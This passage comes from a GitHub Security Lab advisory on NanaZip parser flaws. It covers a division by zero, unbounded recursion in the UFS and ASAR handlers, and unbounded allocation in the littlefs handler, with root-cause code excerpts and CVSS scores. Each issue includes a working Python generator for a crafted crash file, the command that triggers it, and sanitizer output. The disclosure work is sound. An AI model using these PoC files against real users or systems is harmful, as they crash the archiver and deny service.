FS_UFS1_MAGIC = 0x011954
BLOCK_SIZE = 4096
IMAGE_SIZE = 16 * 1024  # 16 KiB (superblock + padding)

def w32(buf, off, v): struct.pack_into('<i', buf, off, v)
def wu32(buf, off, v): struct.pack_into('<I', buf, off, v)
def w64(buf, off, v): struct.pack_into('<q', buf, off, v)

img = bytearray(IMAGE_SIZE)
sb = SBLOCK_UFS1

# Superblock — all fields set to pass Open() validation
w32(img, sb+16, 4)              # fs_iblkno = 4
wu32(img, sb+44, 1)             # fs_ncg = 1 (>= 1)
w32(img, sb+48, BLOCK_SIZE)     # fs_bsize = 4096 (>= MINBSIZE)
w32(img, sb+52, BLOCK_SIZE)     # fs_fsize = 4096
w32(img, sb+56, 1)              # fs_frag = 1 (>= 1)
w32(img, sb+104, 8192)          # fs_sbsize = 8192
wu32(img, sb+184, 0)            # fs_ipg = 0  ← TRIGGER: division by zero
w32(img, sb+188, 100)           # fs_fpg = 100
w64(img, sb+1000, SBLOCK_UFS1)  # fs_sblockloc = 8192
w32(img, sb+1320, 60)           # fs_maxsymlinklen = 60
w32(img, sb+1372, FS_UFS1_MAGIC)

with open('poc_ufs_inode.img', 'wb') as f:
    f.write(img)

print(f'Written {IMAGE_SIZE}-byte image with fs_ipg=0')

Triggering:

NanaZip.Universal.Console.exe l poc_ufs_inode.img

Verification

When NanaZip is compiled with AddressSanitizer (/p:EnableASAN=true):

==37912==ERROR: AddressSanitizer: int-divide-by-zero on unknown address
  0x7ffc0c3d6055 (pc 0x7ffc0c3d6055 bp 0x1243634a0e80 sp 0x006eb66fc760 T0)
    #0 NanaZip::Codecs::Archive::Ufs::GetInodeOffset
        NanaZip.Codecs\NanaZip.Codecs.Archive.Ufs.cpp:280
    #1 NanaZip::Codecs::Archive::Ufs::GetInodeInformation
        NanaZip.Codecs\NanaZip.Codecs.Archive.Ufs.cpp:304
    #2 NanaZip::Codecs::Archive::Ufs::GetAllPaths
        NanaZip.Codecs\NanaZip.Codecs.Archive.Ufs.cpp:561
    #3 NanaZip::Codecs::Archive::Ufs::Open
        NanaZip.Codecs\NanaZip.Codecs.Archive.Ufs.cpp:794
    #4 CArc::OpenStream2       OpenArchive.cpp:1978
    #5 CArc::OpenStream        OpenArchive.cpp:3027
    #6 CArc::OpenStreamOrFile  OpenArchive.cpp:3122
    #7 CArchiveLink::Open      OpenArchive.cpp:3298
    #8 CArchiveLink::Open2     OpenArchive.cpp:3422
    #9 ListArchives            List.cpp:1191
    #10 Main2                  Main.cpp:1568
    #11 main                   MainAr.cpp:170

SUMMARY: AddressSanitizer: int-divide-by-zero
  NanaZip.Codecs\NanaZip.Codecs.Archive.Ufs.cpp:280
  in NanaZip::Codecs::Archive::Ufs::GetInodeOffset

issue 9: Uncontrolled recursion in NanaZip UFS directory traversal causes stack exhaustion (GHSL-2026-132)

An uncontrolled recursion vulnerability exists in the UFS/UFS2 filesystem image parser in NanaZip. The function GetAllPaths recurses into subdirectories without any depth limit or visited-inode tracking. A crafted UFS image with a deep directory tree or an inode cycle causes stack exhaustion, crashing the NanaZip process.

The function GetAllPaths in NanaZip.Codecs.Archive.Ufs.cpp traverses UFS directory entries and recursively calls itself for every entry with d_type == DT_DIR (lines 638–647):

if ("." == Name || ".." == Name)
{
    // Just Skip
}
else if (DT_DIR == Type)
{
    if (!this->GetAllPaths(Inode, RootPath + Name + "/"))   // line 644: unbounded recursion
    {
        return false;
    }
}

Source: NanaZip.Codecs/NanaZip.Codecs.Archive.Ufs.cpp, lines 556–658

Two safeguards are missing:

  1. No depth limit. There is no MaxDepth parameter or counter. Each recursion level consumes stack space for locals (UfsInodeInformation with its std::vector<uint64_t>, std::vector<uint8_t> Buffer, std::string concatenations, return address, saved registers). With the default 1 MiB Win32 thread stack and ~1–2 KiB per frame, a directory tree of a few hundred levels exhausts the stack.

  2. No visited-inode tracking. There is no std::unordered_set<uint32_t> or equivalent to detect inode cycles. The only cycle suppression is the literal name check for "." and ".." at line 638. A directory entry named "x" with d_type = DT_DIR that points back to its own inode (or any ancestor) causes infinite recursion.

Comparison with the ROMFS handler

The sibling ROMFS handler in the same codebase implements both protections:

// NanaZip.Codecs.Archive.Romfs.cpp
const std::size_t g_RomfsMaximumEntries = 10000;    // line 62
const std::size_t g_RomfsMaximumVisitDepth = 1000;  // line 64

std::unordered_set<std::uint32_t> m_VisitedOffsets; // line 137

// Enforced at lines 201, 262:
if (m_VisitedOffsets.size() >= g_RomfsMaximumEntries) ...
if (m_VisitQueue.size() < g_RomfsMaximumVisitDepth) ...

The ROMFS handler uses an explicit work queue (std::deque) instead of recursion, eliminating the stack-depth dependency entirely. The UFS handler does not follow this pattern.

Two trigger paths

  1. Deep tree: A legitimate chain of directories a/a/a/.../a with each entry pointing to a distinct inode. A few hundred levels suffice to exhaust the default Windows thread stack.

  2. Inode cycle: A directory entry named "x" with d_type = DT_DIR whose d_ino points back to the same directory inode (or any ancestor). Since the only cycle check is the literal "." / ".." name comparison, the entry named "x" recurses forever.

Stack overflow behavior on Windows

When the stack is exhausted, the next frame access hits the stack guard page. Windows delivers a STATUS_STACK_OVERFLOW (0xC00000FD) structured exception. With NanaZip’s /EHsc compilation, this SEH exception is not caught by catch(...) — the process terminates.

Impact

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L — 3.5 (Low)

Affected versions: Since 5.0.1250.0 (2025-02-01), the first release shipping the UFS handler.

Relationship to other UFS findings

This vulnerability is distinct from:

All four are in the same UFS handler but have independent root causes and trigger conditions.

CWEs

Resources

PoC generator:

A crafted UFS1 image with an inode cycle triggers the vulnerability. The root directory (inode 2) contains an entry "x" of type DT_DIR that points back to inode 2 itself, creating infinite recursion.

#!/usr/bin/env python3
"""Generate a crafted UFS1 image that triggers stack exhaustion
via inode cycle in GetAllPaths."""

import struct

SBLOCK_UFS1 = 8192
FS_UFS1_MAGIC = 0x011954
BLOCK_SIZE = 4096
UFS_ROOTINO = 2
IFDIR = 0o040000
DT_DIR = 4
IMAGE_SIZE = 128 * 1024

def w16(buf, off, v): struct.pack_into('<H', buf, off, v)
def w32(buf, off, v): struct.pack_into('<i', buf, off, v)
def wu32(buf, off, v): struct.pack_into('<I', buf, off, v)
def w64(buf, off, v): struct.pack_into('<q', buf, off, v)

img = bytearray(IMAGE_SIZE)
sb = SBLOCK_UFS1

# Superblock
w32(img, sb+16, 4)              # fs_iblkno = 4
w32(img, sb+40, 100)            # fs_old_dsize
wu32(img, sb+44, 1)             # fs_ncg = 1
w32(img, sb+48, BLOCK_SIZE)     # fs_bsize
w32(img, sb+52, BLOCK_SIZE)     # fs_fsize
w32(img, sb+56, 1)              # fs_frag
w32(img, sb+104, 8192)          # fs_sbsize
wu32(img, sb+184, 16)           # fs_ipg
w32(img, sb+188, 100)           # fs_fpg
w64(img, sb+1000, SBLOCK_UFS1)  # fs_sblockloc
w32(img, sb+1320, 60)           # fs_maxsymlinklen
w32(img, sb+1372, FS_UFS1_MAGIC)

# Root inode (inode 2)
ri = 4 * BLOCK_SIZE + UFS_ROOTINO * 128
w16(img, ri, IFDIR | 0o755)     # di_mode
w16(img, ri+2, 2)               # di_nlink
struct.pack_into('<Q', img, ri+8, BLOCK_SIZE)  # di_size
w32(img, ri+40, 8)              # di_db[0] -> fragment 8

# Directory data block at fragment 8
dd = 8 * BLOCK_SIZE

# Entry 1: "." (self, normal)
wu32(img, dd, UFS_ROOTINO)      # d_ino = 2
w16(img, dd+4, 12)              # d_reclen = 12
img[dd+6] = DT_DIR              # d_type
img[dd+7] = 1                   # d_namlen
img[dd+8] = ord('.')            # d_name

# Entry 2: ".." (parent, normal)
e2 = dd + 12
wu32(img, e2, UFS_ROOTINO)      # d_ino = 2
w16(img, e2+4, 12)              # d_reclen = 12
img[e2+6] = DT_DIR              # d_type
img[e2+7] = 2                   # d_namlen
img[e2+8] = ord('.')            # d_name[0]
img[e2+9] = ord('.')            # d_name[1]

# Entry 3: "x" — DT_DIR pointing back to inode 2 (CYCLE!)
e3 = dd + 24
wu32(img, e3, UFS_ROOTINO)      # d_ino = 2 (same as root → cycle)
w16(img, e3+4, BLOCK_SIZE - 24) # d_reclen = rest of block
img[e3+6] = DT_DIR              # d_type = directory
img[e3+7] = 1                   # d_namlen = 1
img[e3+8] = ord('x')            # d_name = "x"

with open('poc.img', 'wb') as f:
    f.write(img)

print(f'Written {IMAGE_SIZE}-byte image')
print(f'  Root inode 2 has entry "x" (DT_DIR) pointing to inode 2')
print(f'  GetAllPaths will recurse: / -> x/ -> x/x/ -> x/x/x/ -> ...')
print(f'  Stack exhaustion after ~500-1000 levels')

Triggering:

NanaZip.Universal.Console.exe l poc.img
echo Exit code: %ERRORLEVEL%

Verification

ASan build confirms stack overflow:

==31748==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd46e55da7
    (pc 0x7ffd46e55da7 bp 0x005b86ee4470 sp 0x005b86ee43f8 T0)
    <empty stack>
SUMMARY: AddressSanitizer: stack-overflow
==31748==ABORTING

Release build crashes with STATUS_STACK_OVERFLOW (0xC00000FD = decimal -1073741571):

...
Exit code: -1073741571

No Page Heap or ASan is needed — the stack overflow occurs naturally from unbounded recursion.

issue 10: Uncontrolled recursion in NanaZip Electron ASAR parser causes stack exhaustion (GHSL-2026-133)

An uncontrolled recursion vulnerability exists in the Electron Archive (ASAR) parser in NanaZip. When opening a crafted .asar file with deeply nested JSON in the header, both nlohmann::json::parse and the handler’s GetAllPaths function recurse without depth limits, exhausting the thread stack and crashing the NanaZip process.

The ASAR handler’s Open method reads a JSON header from the archive and passes it to two recursive functions:

1. nlohmann::json::parse (lines 226–231): The nlohmann JSON library’s default parser uses recursive descent with no built-in nesting limit:

try
{
    nlohmann::json HeaderObject =
        nlohmann::json::parse(HeaderString);    // ← recursive parser, no depth limit
    this->GetAllPaths(HeaderObject, "");
}
catch (...)
{
    break;
}

2. GetAllPaths (lines 101–115): After parsing, the handler recursively walks the "files" keys of the JSON tree with no depth limit or visited-node tracking:

void GetAllPaths(
    nlohmann::json const& RootJson,
    std::string const& RootPath)
{
    nlohmann::json Files = Mile::Json::ToObject(
        Mile::Json::GetSubKey(RootJson, "files"));
    if (!Files.empty())
    {
        for (auto const& File : Files.items())
        {
            this->GetAllPaths(                  // ← unbounded recursion
                File.value(),
                RootPath + File.key() + "/");
        }
    }
    // ...
}

Source: NanaZip.Codecs/NanaZip.Codecs.Archive.ElectronAsar.cpp, lines 101–133

Each GetAllPaths frame constructs a nlohmann::json Files copy (line 105) and a std::string concatenation (line 113), consuming significant stack and heap per frame.

A JSON header with ~2000 levels of {"files":{"a":...}} nesting reliably exhausts the default 1 MiB Win32 thread stack.

Comparison with the ROMFS handler

The sibling ROMFS handler implements both depth limiting (g_RomfsMaximumVisitDepth = 1000) and visited-node tracking (m_VisitedOffsets) with an explicit work queue instead of recursion.

Impact

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L — 3.5 (Low)

Affected versions: Since 5.0.1250.0 (2025-02-01), the first release shipping the ASAR handler.

Relationship to other findings

This vulnerability is the same class (CWE-674) as GHSL-2026-132 (UFS handler GetAllPaths recursion). Different handler, different input format, but same root cause pattern requiring separate fixes.

CWEs

Resources

PoC generator:

A crafted .asar file with 2000 levels of nested {"files":{"a":...}} JSON triggers the vulnerability.

#!/usr/bin/env python3
"""Generate a crafted ASAR file that triggers stack exhaustion
via deeply nested JSON in the header."""

import struct

depth = 2000

# Build deeply nested JSON: {"files":{"a":{"files":{"a":...{}...}}}}
json_str = ""
for i in range(depth):
    json_str += '{"files":{"a":'
json_str += '{}'
for i in range(depth):
    json_str += '}}'

json_bytes = json_str.encode("utf-8")
hdr_string_size = len(json_bytes)
hdr_buffer_size = hdr_string_size
hdr_size = 4 + hdr_buffer_size
hdr_size_var_size = 4

# ASAR binary header: 4x uint32 LE
header = struct.pack("<IIII",
    hdr_size_var_size,  # HeaderSizeVariableSize = 4
    hdr_size,           # HeaderSize = 4 + HeaderBufferSize
    hdr_buffer_size,    # HeaderBufferSize
    hdr_string_size)    # HeaderStringSize

data = header + json_bytes
with open('poc.asar', 'wb') as f:
    f.write(data)

print(f'Written {len(data)}-byte file')
print(f'  JSON nesting depth: {depth}')
print(f'  JSON header size: {hdr_string_size} bytes')
print(f'  Stack overflow in nlohmann::json::parse or GetAllPaths')

Triggering:

NanaZip.Universal.Console.exe l poc.asar
echo Exit code: %ERRORLEVEL%

Verification

ASan build crashes with ACCESS_VIOLATION (0xC0000005 = decimal -1073741819) — ASan detects the stack guard page hit:

NanaZip.Universal.Console.exe l poc.asar
...
Exit code: -1073741819

Release build crashes with STATUS_STACK_OVERFLOW (0xC00000FD = decimal -1073741571):

NanaZip.Universal.Console.exe l poc.asar
...
Exit code: -1073741571

No Page Heap or special instrumentation is needed — the stack overflow occurs naturally from unbounded recursion in nlohmann::json::parse and/or GetAllPaths.

issue 11: Unbounded resource consumption in NanaZip littlefs parser via attacker-controlled BlockCount (GHSL-2026-134)

A denial-of-service vulnerability exists in the littlefs filesystem image parser in NanaZip. The handler’s Open method reads BlockCount directly from the attacker-controlled superblock without any validation against the actual file size or any upper-bound ceiling, then iterates BlockCount times, allocating a file-path entry per iteration. A crafted 44-byte littlefs image with BlockCount = 0xFFFFFFFF causes ~4 billion heap allocations, exhausting available memory.

The function Open reads BlockSize and BlockCount directly from the on-disk superblock without any validation (lines 616–619):

std::uint32_t BlockSize = this->ReadUInt32(
    &this->m_SuperMetadataHeader.RawStructure.BlockSize);
std::uint32_t BlockCount = this->ReadUInt32(
    &this->m_SuperMetadataHeader.RawStructure.BlockCount);

Neither value is checked against the actual file size (BundleSize is computed at line 555 but never compared to BlockSize * BlockCount). The handler then iterates BlockCount times, creating an entry per block (lines 636–645):

for (std::uint32_t i = 0; i < BlockCount; ++i)
{
    LittlefsFilePathInformation Information;
    Information.Inode = i;
    Information.Type = LfsTypeRegular;
    Information.Size = BlockSize;
    Information.Path = Mile::FormatString("[%d]", i);
    Information.Offset = i * BlockSize;            // ← also: uint32 overflow (Finding 2)
    this->m_FilePaths.emplace_back(Information);
}

With BlockCount = 0xFFFFFFFF (~4 billion), each iteration:

The steady-state memory demand is on the order of hundreds of GiB, far exceeding any real system’s physical or virtual memory.

Finding 2 — Integer overflow on Information.Offset

At line 643, i * BlockSize is computed as uint32_t * uint32_t, which wraps modulo 2³² before being widened to the uint64_t Offset field. For any BlockSize * BlockCount > 2^32, later iterations produce wrapped offsets that point to incorrect positions within the file. This is a data-confusion issue, not an OOB — the buffer allocation in Extract uses Information.Size for both the allocation and the read, so the access is always in-bounds.

Impact

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L — 3.5 (Low)

Affected versions: Since 5.0.1252.0 (2025-02-03), the first release shipping the littlefs handler.

CWEs

Resources

PoC generator:

A crafted 44-byte littlefs superblock triggers the vulnerability.

#!/usr/bin/env python3
"""Generate a crafted littlefs image that triggers unbounded allocation
from attacker-controlled BlockCount field."""

import struct

def make_tag(invalid, typ, tid, length):
    """Build a littlefs metadata tag from its bitfield components.
    Layout: Invalid(1) | Type(11) | Id(10) | Length(10)"""
    return (invalid << 31) | (typ << 20) | (tid << 10) | length

# Tag values for superblock header XOR chain
super_tag = make_tag(0, 0x0FF, 0, 8)   # LfsTypeSuperBlock, Id=0, Length=sizeof("littlefs")
struct_tag = make_tag(0, 0x201, 0, 24)  # LfsTypeInlineStructure, Id=0, Length=sizeof(LfsSuperBlockInlineStructure)

# XOR chain: initial tag 0xFFFFFFFF ^ RawSuperBlockTag = super_tag
raw_super_tag = 0xFFFFFFFF ^ super_tag
# super_tag ^ RawStructureTag = struct_tag
raw_struct_tag = super_tag ^ struct_tag

data = bytearray(44)  # sizeof(LfsSuperMetadataHeader)
struct.pack_into('<I', data, 0, 0)              # RawRevisionCount (little-endian)
struct.pack_into('>I', data, 4, raw_super_tag)  # RawSuperBlockTag (big-endian!)
data[8:16] = b'littlefs'                        # RawSignature (magic)
struct.pack_into('>I', data, 16, raw_struct_tag) # RawStructureTag (big-endian!)
struct.pack_into('<I', data, 20, 0x00020001)    # Version = 2.1 (major=2)
struct.pack_into('<I', data, 24, 4096)          # BlockSize = 4096
struct.pack_into('<I', data, 28, 0xFFFFFFFF)    # BlockCount = ~4 billion (TRIGGER)
struct.pack_into('<I', data, 32, 255)            # MaximumNameLength
struct.pack_into('<I', data, 36, 0x7FFFFFFF)     # MaximumFileLength
struct.pack_into('<I', data, 40, 1022)           # MaximumAttributeLength

with open('poc.littlefs', 'wb') as f:
    f.write(data)

print(f'Written {len(data)}-byte image')
print(f'  BlockCount = 0xFFFFFFFF (~4 billion entries)')
print(f'  Open will loop ~4B times, exhausting memory')

Triggering:

NanaZip.Universal.Console.exe l poc.littlefs

The process hangs consuming memory and CPU. With a more moderate BlockCount (e.g., 0x10000 = 65536), the 44-byte file successfully opens and lists 65536 block entries — confirming that BlockCount is trusted without file-size validation.

CVE

Credit

These issues were discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2026-124, GHSL-2026-125, GHSL-2026-126, GHSL-2026-127, GHSL-2026-128, GHSL-2026-129, GHSL-2026-130, GHSL-2026-131, GHSL-2026-132, GHSL-2026-133, or GHSL-2026-134 in any communication regarding these issues.